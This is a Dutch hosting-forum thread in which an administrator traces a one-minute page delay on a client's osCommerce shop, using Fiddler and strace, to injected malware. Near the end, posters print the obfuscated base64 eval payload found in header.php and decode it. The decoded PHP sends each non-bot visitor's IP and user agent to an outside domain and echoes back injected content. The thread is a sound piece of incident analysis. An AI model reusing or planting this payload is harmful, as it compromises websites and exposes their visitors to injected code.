Bekijk Volledige Versie : Vreemde laadproblemen met 1 website.
Onder mijn klanten bevindt zich er eentje met een aangepast OsCommerce webshop.
Er is een bedrijf wat die aanpassingen gedaan heeft etc.
Nu is er sinds eergisteren iets vreemds aan de hand, waar ik m'n vinger niet achter krijg aangezien er niets in de logs over terug te vinden is.
Er is niets aan de website gewijzigd en voor zover ik kon zien ook niets aan de server behalve dan een update van phpmyadmin.
Het volgende speelt zich af.
Bezoekt iemand de homepage van de website, bijv. www.winkel.nl dan blijft het browserscherm (is zowel in IE alsook met Firefox) een halve minuut tot een minuut eigenlijk niets doen.
Dan opeens verschijnt de webshop. Eenmaal geladen, kun je alle pagina's van de webshop gewoon bezoeken en gaat het lekker snel.
Het vreemde is echter dat als je rechtstreeks naar het admin deel gaat, bijv. www.winkel.nl/admin dat deze pagina onmiddellijk geladen wordt.
Er is een .htaccess aanwezig, maar die heb ik ook al weggehaald, dat maakt in principe verder totaal niets uit, het probleem blijft.
Voorheen werkte alles normaal en snel, de vraag is dus waar die initiele enorme vertraging vandaan komt en hoe dit evt. op te lossen is.
Het betreft hier een Centos 5.x server met Directadmin.
Php 5.2.17 met ioncubeloader phploader v4.05 geinstalleerd.
Lastig te beoordelen zonder de URL. Zou java of statistieken script wat niet goed ingeladen wordt wat al voor een vertraging kan zorgen. Als verder niemand op de server er last van heeft dan zou ik de index code is goed nalopen en checken of alles goed wordt ingeladen.
Ja maar het vreemde is dat er gewoon niets aan gewijzigd is en voorheen alles perfekt liep. De reden dat ik in eerste instantie geen url noemde is omdat ik dacht dat misschien iemand al iets soortgelijks had meegemaakt met een Oscommerce ofzo en hem een lichtje ging branden.
Het ligt namelijk niet in mijn bedoeling om reklame te maken vandaar dus geen url.
Maar je hebt vermoedelijk wel gelijk.
Het gaat om satellietservice.be maar de admin pagina ligt niet in /admin, maar die heeft men volgens mij niet nodig om het probleem te bekijken volgens mij.
Ik zou om te beginnen de Analytics code voor de </body> tag zetten. Als een site langzamer wordt komt al snel door de Analytics code die traag laadt. Hij staat nu na de <html> aan het begin (rare plek want hoort in de head of voor de eind body tag), en je wil die juist als laatste inladen (dan staat de site al namelijk).
Verder zie ik niks raars in de code.
Heb je al even naar caching gekeken of de rechten nog goed staan en/of er nog hd space beschikbaar is. Want als ik hem de 1ste keer laad is hij traag als ik reload (zelfs met shit F5 etc) is hij er binnen 10.14 seconden.
Oke, die code is niet door mij gedaan maar door het bedrijf wat deze aangepaste Oscommerce maakte.
Dus ik ga ze dat doorgeven want dat staat niet in de index.php zelf. Vandaar dat het vermoedelijk op die vreemde plaats staat.
Dat moeten zij dan maar even aanpassen, daar worden ze immers voor betaald.
Bedankt alvast voor zover, mochten er nog meer ideeën zijn dan graag.;)
@Dennis: Ja da's wat ik al schreef, eerste keer heel traag en daarna is ie gewoon soepel. En het adminscherm niet.
HD ruimte is er nog meer dan genoeg, accountruimte ook.
Cache directory's is niets aan gewijzigd, staan gewoon 755 en ik heb mod_ruid op de server draaien. Dus dat lijkt me goed.
Geen rare javascript includes van externe die voor vertraging zorgen?
Vaak zijn dat dns requests die door de scripts worden gedaan, die niet meer lukken. Controleer de resolvers op de server eens. Als er iets staat te timeouten dan ben je nog niet jarig.
Fiddler (http://www.fiddler2.com/fiddler2/) gebruiken en je bent er zo achter waar ie op zit te wachten..
@T.bloo: In dat geval zou het toch bij alle sites op de servers moeten voorkomen? De resolvers werken toch voor de hele server? En het euvel doet zich alleen bij deze website voor.
De resolv.conf heeft 4 entry's en de eerste is de lokale nameserver.
@BartL: Buiten Google analytics zou ik het niet weten.
@Davinci: Ga ik eens proberen, bedankt!
Fiddler laat het ook niet zien.
result 200, dan de domeinnaam dan / en dan niets en als ik daar de timeline van bekijk duurt die een 65 seconden. Daarna wordt /stylesheet.css geladen maar die is er binnen een seconde.
Een paar statistieken:
RESPONSE CODES
--------------
HTTP/200: 1
RESPONSE BYTES (by Content-Type)
--------------
text/html: 5.529
~headers~: 552
En hier nog een paar, daaruit lijkt me dat de DNS toch goed werkt.
ACTUAL PERFORMANCE
--------------
ClientConnected: 15:38:48.640
ClientBeginRequest: 15:38:48.640
ClientDoneRequest: 15:38:48.640
Gateway Determination: 0ms
DNS Lookup: 353ms
TCP/IP Connect: 121ms
HTTPS Handshake: 0ms
Ik zie wel in een caching veld een waarschuwing:
HTTP/1.1 Cache-Control Header is present: no-store, no-cache, must-revalidate, post-check=0, pre-check=0
!Warning, prior to IE9, no-cache and no-store directives are not respected on non-HTTP/1.1 responses.
no-store: This response MUST NOT be stored in a cache.
Die post-check=0 schijnt er wel te staan en daar staan dan weer het volgende over:
!! WARNING: Do NOT set post-check=0. This almost certainly doesn't do what you think it does.
See http://blogs.msdn.com/ieinternals/archive/2009/07/20/Using-post_2D00_check-and-pre_2D00_check-cache-directives.aspx
Kan dat de oorzaak zijn? Want webbuilding is voor mij verder abracadabra.
Yourwebhoster
13/02/11, 15:55
Al eens een strace gedaan? En gekeken wat het CPU gebruik van een Apache proces is als je de website aanroept?
Als ik top laat draaien terwijl ik de website oproep verandert het cpu gebruik van httpd zo goed als niet.
Een strace nog niet gedaan, ben ik eerlijk in, geen idee hoe dat moet.
Errorlog geeft nog steeds niets aan en de accesslogs laat dit zien als eerste 3 regels bij het eerste bezoek aan de site (trage vorm):
82.169.xx.xx - - [13/Feb/2011:15:38:46 +0100] "GET / HTTP/1.1" 200 6081 "-" "Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.1; Trid
ent/4.0)"
82.169.xx.xx - - [13/Feb/2011:15:39:46 +0100] "GET /stylesheet.css HTTP/1.1" 304 173 "http://www.satellietservice.be/" "Mozilla/4.0
(compatible; MSIE 8.0; Windows NT 5.1; Trident/4.0)"
82.169.xx.xx - - [13/Feb/2011:15:39:46 +0100] "GET /jquery.js HTTP/1.1" 304 174 "http://www.satellietservice.be/" "Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.1; Trident/4.0)"
82.169.xx.xx - - [13/Feb/2011:15:39:46 +0100] "GET /jquery_lightbox/js/jquery.lightbox.js HTTP/1.1" 304 173 "http://www.satellietservice.be/" "Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.1; Trident/4.0)"
Hier zie je ook heel duidelijk de minuut vertraging in het aanroepen van de site en het krijgen van een resultaat... 15:38 en 15.39.
Dus het moet aan de site liggen ergens lijkt me.
misschien kun je iets zien in je apache /server-status of de apache logs?
Yourwebhoster
13/02/11, 16:33
stracestrace -f -o trace.txt /etc/rc.d/init.d/httpd start&
Dan kan je bijvb zien welke files allemaal geopent worden en als je live meekijkt kan je zien waar hij op vastloopt (waarschijnlijk). Wat is de load van de server als je de site opent en heeft de programmeur niet toevallig sleep ingebouwd ^^. In ieder geval, succes hiermee!
@T.Bloo:
Dit zit ik in de server status als ik deze refresh meteen nadat ik de pagina probeer te openen en die vertraging speelt:
9-1 22283 0/67/2279 W 2.18 14 0 0.0 0.39 30.62 82.169.xx.xx www.satellietservice.be GET / HTTP/1.1
En nog eentje een stukje lager
20-1 - 0/0/152 . 0.70 2743 63 0.0 0.00 1.12 127.0.0.1 www.satellietservice.be GET /empcentauri-21-p-36.html HTTP/1.1
Meer regels zijn er niet.
waar zou die localhost request vandaan komen?
@yourwebhoster: Heb het eens geprobeerd maar daar kom ik geen wijs uit. Live zie ik niets gebeuren en als ik in de trace.txt op de domeinnaam ga zoeken krijg ik zoiets:
22996 stat64("/home/satservice/domains/satellietservice.be/public_html", {st_mode=S_IFDIR|0711, st_size=4096, ...}) = 0
22996 open("/etc/passwd", O_RDONLY) = 5
22996 fcntl64(5, F_GETFD) = 0
22996 fcntl64(5, F_SETFD, FD_CLOEXEC) = 0
22996 fstat64(5, {st_mode=S_IFREG|0644, st_size=3932, ...}) = 0
22996 mmap2(NULL, 4096, PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_ANONYMOUS, -1, 0) = 0xb7f82000
22996 read(5, "root:x:0:0:root:/root:/bin/bash\n"..., 4096) = 3932
22996 close(5) = 0
22996 munmap(0xb7f82000, 4096) = 0
22996 open("/etc/group", O_RDONLY) = 5
22996 fcntl64(5, F_GETFD) = 0
22996 fcntl64(5, F_SETFD, FD_CLOEXEC) = 0
22996 fstat64(5, {st_mode=S_IFREG|0644, st_size=1460, ...}) = 0
Er draait wel nog een oudere mod_ruid versie, zou dat invloed kunnen hebben?
Blijft wel vreemd dat het euvel pas eergisteren opeens begon volgens betreffende.
Is de OScommerce installatie wel up to date?
Het is inderdaad zwaar raar. Ik verdenk dat eerste stukje javascript, misschien dat even weghalen?
@Ahmed: Ja die is pas geupdate, maar is wel een customized versie door extern bedrijf.
@T. Bloo: Da's misschien een optie om eens te proberen of dat helpt, ik zal het doorgeven.
Kwestie is doorgegeven aan het bedrijf wat de shop onderhoudt.
Wat ik vreemd blijf vinden is dat het exact maar dan ook exact 1 minuut vertraging is, op de seconde af. Dat lijkt dus sterk op een timeout.
Misschien zit er wel een timeout van een minuut in een java scriptje ofzo, ik heb geen idee.
Of ze zijn een sleep() vergeten in de code o.i.d.
Zou goed kunnen, als het maar niet aan de server ligt ben ik al happy.
brammetjeh
14/02/11, 16:15
In Direct Admin heb je hele uitgebreide logs die je precies vertellen wat er op je server gebeurt. Ik zou zeggen hier even in spitten.
Ehmz... die leest voor zover ik weet gewoon de logfiles in /var/log/httpd* uit en evt. /home/user/domains/logs en daar ben ik al via ssh in aan het rondsnuffelen geweest.;)
Als je 'php index.php' uitvoert, heb je dan ook deze vertraging,
Zoja, run je even 'strace php index.php'.
Veel kans dat je snel achter de oorzaak komt zo :)
@Dupondje, ja dan heb ik ook die vertraging, ik heb eens gedaan wat jij zei en daar viel me het volgende op:
socket(PF_FILE, SOCK_STREAM, 0) = 4
fcntl64(4, F_SETFL, O_RDWR|O_NONBLOCK) = 0
connect(4, {sa_family=AF_FILE, path="/var/run/nscd/socket"...}, 110) = -1 ENOENT (No such file or directory)
close(4)
Vreemd want die /var/run/nscd/ bestaat wel, inderdaad geen socket te vinden.
En een stukje later blijft hij hier lang op hangen:
munmap(0xb7561000, 4096) = 0
socket(PF_INET, SOCK_DGRAM, IPPROTO_IP) = 4
connect(4, {sa_family=AF_INET, sin_port=htons(53), sin_addr=inet_addr("78.46.89.18")}, 28) = 0
fcntl64(4, F_GETFL) = 0x2 (flags O_RDWR)
fcntl64(4, F_SETFL, O_RDWR|O_NONBLOCK) = 0
gettimeofday({1297726036, 600072}, NULL) = 0
poll([{fd=4, events=POLLOUT}], 1, 0) = 1 ([{fd=4, revents=POLLOUT}])
send(4, "u\246\1\0\0\1\0\0\0\0\0\0\nininininin\2in\0\0\1\0\ 1", 31, MSG_NOSIGNAL) = 31
poll([{fd=4, events=POLLIN}], 1, 5000) = 1 ([{fd=4, revents=POLLIN}])
ioctl(4, FIONREAD, [372]) = 0
recvfrom(4, "u\246\201\200\0\1\0\1\0\4\0\f\nininininin\2in\0\0\ 1\0\1\300"..., 1024, 0, {sa_family=AF_INET, sin_port=htons(53), sin_addr=inet_addr("78.46.89.18")}, [16]) = 372
close(4) = 0
gettimeofday({1297726036, 600617}, NULL) = 0
socket(PF_INET, SOCK_STREAM, IPPROTO_IP) = 4
fcntl64(4, F_GETFL) = 0x2 (flags O_RDWR)
fcntl64(4, F_SETFL, O_RDWR|O_NONBLOCK) = 0
connect(4, {sa_family=AF_INET, sin_port=htons(80), sin_addr=inet_addr("91.204.48.45")}, 16) = -1 EINPROGRESS (Operation now in progress)
poll([{fd=4, events=POLLIN|POLLOUT|POLLERR|POLLHUP}], 1, 60000
Hier hangt ie dus.
Als ik dat nu even laat gaan dan komt opeens de rest er achteraan na een tijdje, en dan zie ik ook diverse timeouts er tussen zoals deze:
</body>
</html>
) = 43999
time(NULL) = 1297726422
poll([{fd=3, events=POLLIN|POLLPRI}], 1, 0) = 0 (Timeout)
write(3, "Z\0\0\0\3select count(*) as total fr"..., 94) = 94
read(3, "\1\0\0\1\1\33\0\0\2\3def\0\0\0\5total\0\f?\0\25\0\ 0\0\10\201"..., 16384) = 60
poll([{fd=3, events=POLLIN|POLLPRI}], 1, 0) = 0 (Timeout)
write(3, "\371\1\0\0\3insert into sessions values"..., 509) = 509
read(3, "\7\0\0\1\0\1\0\2\0\0\0", 16384) = 11
close(2) = 0
close(1) = 0
munmap(0xb7f77000, 4096) = 0
close(0) = 0
munmap(0xb7f78000, 4096) = 0
rt_sigaction(SIGPIPE, {0x1, [PIPE], SA_RESTART}, {0x1, [PIPE], SA_RESTART}, 8) = 0
poll([{fd=3, events=POLLIN|POLLPRI}], 1, 0) = 0 (Timeout)
write(3, "\1\0\0\0\1", 5) = 5
shutdown(3, 2 /* send and receive */) = 0
close(3) = 0
rt_sigaction(SIGPIPE, {0x1, [PIPE], SA_RESTART}, {0x1, [PIPE], SA_RESTART}, 8) = 0
brk(0x8e76000) = 0x8e76000
brk(0x8e12000) = 0x8e12000
munmap(0xb74f1000, 528384) = 0
munmap(0xb7572000, 782488) = 0
exit_group(0) = ?
Enig idee?
er gebeurt eerst een dns request op 78.46.89.18 en dan een http request op 91.204.48.45, kijk eens of je die kunt verklaren
die laatste zijn database acties
Nee dat kan ik niet verklaren, dat is een ip adres in de Ukraine.
Waar komt dit vandaan? Komt dit uit de index.php? Of een van de files in de webshop? Ik ga eens zoeken.
Misschien doe ik iets fout maar ik heb het als volgt geprobeerd:
grep -H 91.204.48.45 /home/user/domein/domeinnaam.be/public_html/* -R | cut -d: -f1
Maar dan krijg ik gelijk de volgende prompt. Lijkt me stug dat ie zo snel alles doorzocht heeft.
Kan het niet iets met een licentie of een add-on zijn ofzoiets?
Hij maakt inderdaad connectie met 91.204.48.45, maar gaat blijkbaar timeouten. Daarom die vertraging.
Misschien even de volledige strace pasten? Want IP zal je niet vinden in file, aangezien hij eerst DNS request doet (dus domeinnaam ergens resolved)
@Ahmed: Uit Rusland? Nopes, geen connecties met dat land in welke vorm dan ook, behalve ip blocks in de firewall.:)
@Dupondje: Ik wil best een volledige strace pasten, maar weet niet hoe ik dat klaar ga krijgen.
Had al geprobeerd van "'strace php index.php > test.txt" maar in dat test.txt bestand krijg ik dan niet al die codes te zien die ik op het scherm te zien krijgt, dus klaarblijkelijk neemt ie dat niet mee op die manier.
Als ik het uberhaupt in een posting gezet krijg want het is behoorlijk veel informatie.
Ik wil best een volledige strace pasten, maar weet niet hoe ik dat klaar ga krijgen.
Had al geprobeerd van "'strace php index.php > test.txt" maar in dat test.txt bestand krijg ik dan niet al die codes te zien die ik op het scherm te zien krijgt, dus klaarblijkelijk neemt ie dat niet mee op die manier.
Als ik het uberhaupt in een posting gezet krijg want het is behoorlijk veel informatie.
strace -o filename "php index.php" of zonder quotes kan ook, dan de filename gewoon ergens op een webserver zetten en de url hier posten of filename in bijlage posten.
Valt me wel op dat ik in het begin een aantal missende mysql dingen zie.
Maar oke, hier is het tekstbestand met de trace.
Hopelijk is het ergens te vinden.
@Ahmed: Uit Rusland? Nopes, geen connecties met dat land in welke vorm dan ook, behalve ip blocks in de firewall.
Geef je hier niet zelf antwoord op je probleem? Zoals ik het lees, probeert je script te connecten met een russisch IP, welke jij in je firewall hebt staan.....
Ik denk dat je dan verkeerd leest. Ik schrijf geen connecties te hebben met Rusland behalve ip blocks in de firewall.
Er staat niet dat dit specifieke ip geblokkeerd is, dat is dan ook niet het geval.
Dus vermoedelijk is het script gehacked, zover was ik inderdaad ook al, maar waar zit het, waar komt het vandaan.
De coder denkt dat het probleem aan de server ligt en ik ben van mening dat het aan het script ligt, zeker nadat dit Russisch ip tevoorschijn is gekomen.
Maar als ik er iets specifieker de vinger op kan leggen sta ik sterker en is misschien ook uit te vissen op welke wijze ze het gedaan hebben.
Fixed, header.php zat nog iets in. Het bedrijf wat voor de shop zorgt heeft op mijn aanraden alle bestanden nagekeken en het stukje gevonden en gefixed.
fijn dat het gefixt is!
en dan nu de hamvraag: wat zat er nog in?
Ik heb heel vluchtig in een backup van een header.php gekeken. Daar stond een stukje base64 codering in, volgens mij was het dat want bij de vorige hack was de cookie_usage.php ook al voorzien van zo'n stukje base64.
Dat heb ik toen eens proberen te decoderen middels een link die ik op WHT vond maar kreeg alleen maar rare tekens te zien, geen php dus tja... Wat het nu precies is weet ik niet maar als je interesse hebt wil ik die header.php wel even apart zetten en hem je toesturen.
Offeh.. zo groot is dat stukje niet... hiero:
<?php eval(base64_decode("ZnVuY3Rpb24gczM3KCRzKXtmb3IgKCRhID0gMDsgJGEgPD0gc3 RybGVuKCRzKS0xOyAkYSsrICl7JGUgLj0gJHN7c3RybGVuKCRz KS0kYS0xfTt9cmV0dXJuKCRlKTt9ZXZhbChzMzcoJzsibmkiPT czYyQ7InB0dGgiPTczaCQ7InN0YXRzIj03M3okJykpO2V2YWwo czM3KCc7XSJUTkVHQV9SRVNVX1BUVEgiW1JFVlJFU18kPTNhdS QnKSk7ZXZhbChzMzcoJzspInJlbGJtYVIiICwieGVkbmFZIiAs InJldmloY3JhX2FpIiAsInRvQk5TTSIgLCJwcnVsUyIgLCJlbG dvb0ciKHlhcnJhID0gNzN1JCcpKTtldmFsKHMzNygnfX07bHJ1 JCBvaGNlO10xW2xydSQgPSBscnUkIDspbHJ1JCwiIW9nISIoZW RvbHB4ZSA9IGxydSR7KSkiIW9nISIsbHJ1JChydHNydHMoIGZp OykpXSJUU09IX1BUVEgiW1JFVlJFU18kKGVkb2NuZWxydS4iPW gmIi4pM2F1JChlZG9jbmVscnUuIj1iJiIuXSJSRERBX0VUT01F UiJbUkVWUkVTXyQuIj1pIi4iP3AiLiJocC4iLjczYyQuIi83M2 MkLiIuNzNjJC43M2MkLjczYyQuNzNjJC43M2MkLiIvLyIuIjoi LjczaCQoc3RuZXRub2NfdGVnX2VsaWZAID0gbHJ1JCA7KTAwOD AxKykoZW1pdCwpInN0YXRzIig1ZG0sNzN6JChlaWtvb2N0ZXNA IHsgZXNsZSB9eyApKSldNzN6JFtFSUtPT0NfJCh0ZXNzaSggcm 8gKSkzYXUkICwiaS8iIC4gKTczdSQgLCJ8IihlZG9scG1pIC4g Ii8iKGhjdGFtX2dlcnAoKGZpJykpOw=="));?>QUERY select value from sessions where sesskey = '41e77c2418be8beaf3cb212fdf31bef9' and expiry > '1290473377'
En dat geeft:
function s37($s){for ($a = 0; $a <= strlen($s)-1; $a++ ){$e .= $s{strlen($s)-$a-1};}return($e);}eval(s37(';"ni"=73c$;"ptth"=73h$;"stats"=73z$'));eval(s37(';]"TNEGA_RESU_PTTH"[REVRES_$=3au$'));eval(s37(';)"relbmaR" ,"xednaY" ,"revihcra_ai" ,"toBNSM" ,"prulS" ,"elgooG"(yarra = 73u$'));eval(s37('}};lru$ ohce;]1[lru$ = lru$ ;)lru$,"!og!"(edolpxe = lru${))"!og!",lru$(rtsrts( fi;))]"TSOH_PTTH"[REVRES_$(edocnelru."=h&".)3au$(edocnelru."=b&".]"RDDA_ETOMER"[REVRES_$."=i"."?p"."hp.".73c$."/73c$.".73c$.73c$.73c$.73c$.73c$."//".":".73h$(stnetnoc_teg_elif@ = lru$ ;)00801+)(emit,)"stats"(5dm,73z$(eikooctes@ { esle }{ )))]73z$[EIKOOC_$(tessi( ro ))3au$ ,"i/" . )73u$ ,"|"(edolpmi . "/"(hctam_gerp((fi'));
En dat wordt dan:
$z37="stats";
$h37="http";
$c37="in";
$ua3=$_SERVER["HTTP_USER_AGENT"];
$u37 = array("Google", "Slurp", "MSNBot", "ia_archiver", "Yandex", "Rambler");
if((preg_match("/" . implode("|", $u37) . "/i", $ua3)) or (isset($_COOKIE[$z37])))
{
}
else
{
@setcookie($z37,md5("stats"),time()+10800);
$url = @file_get_contents($h37.":"."//".$c37.$c37.$c37.$c37.$c37.$c37.$c37.$c37.$c37.".$c37/".$c37.".ph"."p?"."i=".$_SERVER["REMOTE_ADDR"]."&b=".urlencode($ua3)."&h=".urlencode($_SERVER["HTTP_HOST"]));
if (strstr($url,"!go!"))
{
$url = explode("!go!",$url);
$url = $url[1];
echo $url;
}
}
maw:
Set cookie tenzij het een searchbot is.
Get code from... ?
Ziet er trojan achtig uit, IMHO. Dat op een shop?
malware, maar dat hadden we al gegokt op pagina 1 ofzo
http://www.google.nl/search?q=inininininininin.in
Yep indeed, schijnt nogal voor te komen op Oscommerce websites.
Maarja is wel mooi dat Cyrano die base64 kon vertalen en uiteraard dat ik die base64 gecodeerde handel voordien konden vinden.
Blijft de hamvraag: Hoe is die malware daar gekomen?
Volgens mij had ik dat al ergens in de thread aangegeven, weet niet meer zeker, maar er is in elk geval eerder een hack geweest op die site doordat er nog een stukje lek was in Oscommerce wat ze nog niet geupdate hadden.
Degene die de site maakt heeft vrijwel zeker gewoon de vage bestanden gewist en niet alles nagekeken waardoor dit dan is achtergebleven van de vorige keer.